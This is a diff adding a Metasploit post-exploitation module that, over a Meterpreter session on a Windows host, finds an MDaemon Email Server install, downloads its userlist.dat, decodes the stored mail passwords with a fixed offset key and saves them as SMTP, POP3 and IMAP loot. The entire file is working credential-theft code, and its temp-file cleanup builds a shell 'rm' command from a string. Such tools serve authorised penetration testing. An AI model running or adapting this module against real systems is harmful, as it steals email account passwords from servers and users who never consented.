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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'base64' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Post |
| 11 | + include Msf::Post::Windows::Registry |
| 12 | + Rank = ExcellentRanking |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking', |
| 16 | + 'Description' => %q{ |
| 17 | + Finds and cracks the stored passwords of MDaemon Email Server. |
| 18 | + }, |
| 19 | + 'References' => |
| 20 | + [ |
| 21 | + ['BID', '4686'] |
| 22 | + ], |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => ['Manuel Nader #AgoraSecurity'], |
| 25 | + 'Platform' => ['win'], |
| 26 | + 'Arch' => ['x64','x86'], |
| 27 | + 'SessionTypes' => ['meterpreter', 'shell'] |
| 28 | + )) |
| 29 | + |
| 30 | + register_options( |
| 31 | + [OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory |
| 32 | + ], self.class) |
| 33 | + end |
| 34 | + |
| 35 | + def run |
| 36 | + if session.type != 'meterpreter' |
| 37 | + print_error ('Only meterpreter sessions are supported by this post module') |
| 38 | + return |
| 39 | + end |
| 40 | + progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432') |
| 41 | + locations = [] |
| 42 | + progfiles_env.each do |_k, v| |
| 43 | + vprint_status("Searching MDaemon installation at #{v}") |
| 44 | + if session.fs.dir.entries(name = v).include? 'MDaemon' |
| 45 | + vprint_status("Found MDaemon installation at #{v}") |
| 46 | + locations << v + '\\MDaemon\\' |
| 47 | + end |
| 48 | + next |
| 49 | + end |
| 50 | + |
| 51 | + keys = [ |
| 52 | + 'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath |
| 53 | + # "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register |
| 54 | + ] |
| 55 | + |
| 56 | + locations = ['C:\MDaemon\App'] |
| 57 | + |
| 58 | + if datastore['RHOST'].nil? |
| 59 | + locations << datastore['RHOST'] |
| 60 | + end |
| 61 | + |
| 62 | + keys.each do |key| |
| 63 | + begin |
| 64 | + root_key, base_key = session.sys.registry.splitkey(key) |
| 65 | + value = session.sys.registry.query_value_direct(root_key, base_key, 'AppPath') |
| 66 | + rescue Rex::Post::Meterpreter::RequestError => e |
| 67 | + vprint_error(e.message) |
| 68 | + next |
| 69 | + end |
| 70 | + locations << value.data + '\\' |
| 71 | + end |
| 72 | + locations = locations.uniq |
| 73 | + locations = locations.compact |
| 74 | + userlist = check_mdaemons(locations) |
| 75 | + get_mdaemon_creds(userlist) if userlist |
| 76 | + end |
| 77 | + |
| 78 | + def crack_password(raw_password) |
| 79 | + vprint_status("Cracking #{raw_password}") |
| 80 | + offset = [84, 104, 101, 32, 115, 101, 116, 117, 112, 32, 112, 114, 111, 99, 101] |
| 81 | + decode = Base64.decode64(raw_password).bytes |
| 82 | + crack = decode |
| 83 | + result = '' |
| 84 | + for i in 0..(crack.size - 1) |
| 85 | + if (crack[i] - offset[i]) > 0 |
| 86 | + result << (crack[i] - offset[i]) |
| 87 | + else |
| 88 | + result << ((crack[i] - offset[i]) + 128) |
| 89 | + end |
| 90 | + end |
| 91 | + vprint_status("Password #{result}") |
| 92 | + return result |
| 93 | + end |
| 94 | + |
| 95 | + def check_mdaemons(locations) |
| 96 | + tmp_filename = (0...12).map { (65 + rand(26)).chr }.join |
| 97 | + begin |
| 98 | + locations.each do |location| |
| 99 | + vprint_status("Checking for Userlist in MDaemons directory at: #{location}") |
| 100 | + begin |
| 101 | + session.fs.dir.foreach("#{location}") do |fdir| |
| 102 | + ['userlist.dat'].each do |datfile| |
| 103 | + if fdir.downcase == datfile.downcase |
| 104 | + filepath = location + '\\' + datfile |
| 105 | + print_good("Configuration file found: #{filepath}") |
| 106 | + print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}") |
| 107 | + vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}") |
| 108 | + session.fs.file.download_file(tmp_filename, filepath) |
| 109 | + # userdat = session.fs.file.open(filepath).read.to_s.split(/\n/) |
| 110 | + return tmp_filename |
| 111 | + end |
| 112 | + end |
| 113 | + end |
| 114 | + rescue Rex::Post::Meterpreter::RequestError => e |
| 115 | + vprint_error(e.message) |
| 116 | + end |
| 117 | + end |
| 118 | + rescue ::Exception => e |
| 119 | + print_error(e.to_s) |
| 120 | + return |
| 121 | + end |
| 122 | + |
| 123 | + return nil |
| 124 | + end |
| 125 | + |
| 126 | + def parse_userlist(data) |
| 127 | + # creds = ["['domain','mailbox','full_name','mail_dir','password']"] |
| 128 | + creds = [] |
| 129 | + pop3 = [] |
| 130 | + imap = [] |
| 131 | + users = 0 |
| 132 | + passwords = 0 |
| 133 | + file = File.open(data) |
| 134 | + file.each do |line| |
| 135 | + domain = line.slice(0..44).strip! |
| 136 | + mailbox = line.slice(45..74).strip! |
| 137 | + full_name = line.slice(75..104).strip! |
| 138 | + mail_dir = line.slice(105..194).strip! |
| 139 | + raw_password = line.slice(195..210) |
| 140 | + password = crack_password(raw_password) |
| 141 | + access= line.slice(217) |
| 142 | + users += 1 |
| 143 | + passwords += 1 |
| 144 | + if access == 'Y' # IMAP & POP3 |
| 145 | + pop3 << [domain, mailbox, full_name, mail_dir, password] |
| 146 | + imap << [domain, mailbox, full_name, mail_dir, password] |
| 147 | + elsif access == 'P' # POP3 |
| 148 | + pop3 << [domain, mailbox, full_name, mail_dir, password] |
| 149 | + elsif access == 'I' # IMAP |
| 150 | + imap << [domain, mailbox, full_name, mail_dir, password] |
| 151 | + end |
| 152 | + # Saves all the passwords |
| 153 | + creds << [domain, mailbox, full_name, mail_dir, password] |
| 154 | + end |
| 155 | + vprint_status('Collected the following credentials:') |
| 156 | + vprint_status(" Usernames: #{users}") |
| 157 | + vprint_status(" Passwords: #{passwords}") |
| 158 | + vprint_status("Deleting tmp file: #{data}") |
| 159 | + del_cmd = 'rm ' |
| 160 | + del_cmd << data |
| 161 | + system(del_cmd) |
| 162 | + result = [creds, imap, pop3] |
| 163 | + return result |
| 164 | + end |
| 165 | + |
| 166 | + def report_cred(creds) |
| 167 | + # Build service information |
| 168 | + service_data = { |
| 169 | + # address: session.session_host, # Gives internal IP |
| 170 | + address: session.tunnel_peer.partition(':')[0], # Gives public IP |
| 171 | + port: 25, |
| 172 | + service_name: 'smtp', |
| 173 | + protocol: 'tcp', |
| 174 | + workspace_id: myworkspace_id |
| 175 | + } |
| 176 | + # Iterate through credentials |
| 177 | + creds.each do |cred| |
| 178 | + # Build credential information |
| 179 | + credential_data = { |
| 180 | + origin_type: :session, |
| 181 | + session_id: session_db_id, |
| 182 | + post_reference_name: self.refname, |
| 183 | + private_type: :password, |
| 184 | + private_data: cred[4], |
| 185 | + username: cred[1], |
| 186 | + module_fullname: self.fullname |
| 187 | + } |
| 188 | + credential_data.merge!(service_data) |
| 189 | + credential_core = create_credential(credential_data) |
| 190 | + |
| 191 | + # Assemble the options hash for creating the Metasploit::Credential::Login object |
| 192 | + login_data = { |
| 193 | + core: credential_core, |
| 194 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 195 | + # workspace_id: myworkspace_id |
| 196 | + } |
| 197 | + |
| 198 | + login_data.merge!(service_data) |
| 199 | + create_credential_login(login_data) |
| 200 | + |
| 201 | + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") |
| 202 | + end |
| 203 | + |
| 204 | + # report the goods! |
| 205 | + loot_path = store_loot('MDaemon.smtp_server.creds', 'text/csv', session, creds.to_csv, |
| 206 | + 'mdaemon_smtp_server_credentials.csv', 'MDaemon SMTP Users Credentials') |
| 207 | + print_status("SMPT credentials saved in: #{loot_path}") |
| 208 | + end |
| 209 | + |
| 210 | + def report_pop3(creds) |
| 211 | + # Build service information |
| 212 | + service_data = { |
| 213 | + # address: session.session_host, # Gives internal IP |
| 214 | + address: session.tunnel_peer.partition(':')[0], # Gives public IP |
| 215 | + port: 110, |
| 216 | + service_name: 'pop3', |
| 217 | + protocol: 'tcp', |
| 218 | + workspace_id: myworkspace_id |
| 219 | + } |
| 220 | + # Iterate through credentials |
| 221 | + creds.each do |cred| |
| 222 | + # Build credential information |
| 223 | + credential_data = { |
| 224 | + origin_type: :session, |
| 225 | + session_id: session_db_id, |
| 226 | + post_reference_name: self.refname, |
| 227 | + private_type: :password, |
| 228 | + private_data: cred[4], |
| 229 | + username: cred[1], |
| 230 | + module_fullname: self.fullname |
| 231 | + } |
| 232 | + credential_data.merge!(service_data) |
| 233 | + credential_core = create_credential(credential_data) |
| 234 | + |
| 235 | + # Assemble the options hash for creating the Metasploit::Credential::Login object |
| 236 | + login_data = { |
| 237 | + core: credential_core, |
| 238 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 239 | + # workspace_id: myworkspace_id |
| 240 | + } |
| 241 | + |
| 242 | + login_data.merge!(service_data) |
| 243 | + create_credential_login(login_data) |
| 244 | + |
| 245 | + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") |
| 246 | + end |
| 247 | + |
| 248 | + # report the goods! |
| 249 | + loot_path = store_loot('MDaemon.pop3_server.creds', 'text/csv', session, creds.to_csv, |
| 250 | + 'mdaemon_pop3_server_credentials.csv', 'MDaemon POP3 Users Credentials') |
| 251 | + print_status("POP3 credentials saved in: #{loot_path}") |
| 252 | + end |
| 253 | + |
| 254 | + def report_imap(creds) |
| 255 | + # Build service information |
| 256 | + service_data = { |
| 257 | + # address: session.session_host, # Gives internal IP |
| 258 | + address: session.tunnel_peer.partition(':')[0], # Gives public IP |
| 259 | + port: 143, |
| 260 | + service_name: 'imap', |
| 261 | + protocol: 'tcp', |
| 262 | + workspace_id: myworkspace_id |
| 263 | + } |
| 264 | + # Iterate through credentials |
| 265 | + creds.each do |cred| |
| 266 | + # Build credential information |
| 267 | + credential_data = { |
| 268 | + origin_type: :session, |
| 269 | + session_id: session_db_id, |
| 270 | + post_reference_name: self.refname, |
| 271 | + private_type: :password, |
| 272 | + private_data: cred[4], |
| 273 | + username: cred[1], |
| 274 | + module_fullname: self.fullname |
| 275 | + } |
| 276 | + credential_data.merge!(service_data) |
| 277 | + credential_core = create_credential(credential_data) |
| 278 | + |
| 279 | + # Assemble the options hash for creating the Metasploit::Credential::Login object |
| 280 | + login_data = { |
| 281 | + core: credential_core, |
| 282 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 283 | + workspace_id: myworkspace_id |
| 284 | + } |
| 285 | + |
| 286 | + login_data.merge!(service_data) |
| 287 | + create_credential_login(login_data) |
| 288 | + |
| 289 | + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") |
| 290 | + end |
| 291 | + |
| 292 | + # report the goods! |
| 293 | + loot_path = store_loot('MDaemon.imap_server.creds', 'text/csv', session, creds.to_csv, |
| 294 | + 'mdaemon_imap_server_credentials.csv', 'MDaemon SMTP Users Credentials') |
| 295 | + print_status("IMAP credentials saved in: #{loot_path}") |
| 296 | + end |
| 297 | + |
| 298 | + def get_mdaemon_creds(userlist) |
| 299 | + credentials = Rex::Ui::Text::Table.new( |
| 300 | + 'Header' => 'MDaemon Email Server Credentials', |
| 301 | + 'Indent' => 1, |
| 302 | + 'Columns' => |
| 303 | + [ |
| 304 | + 'Domain', |
| 305 | + 'Mailbox', |
| 306 | + 'Full Name', |
| 307 | + 'Mail Dir', |
| 308 | + 'Password' |
| 309 | + ]) |
| 310 | + result = parse_userlist(userlist) |
| 311 | + report_cred(result[0]) |
| 312 | + report_pop3(result[1]) |
| 313 | + report_imap(result[2]) |
| 314 | + end |
| 315 | +end |
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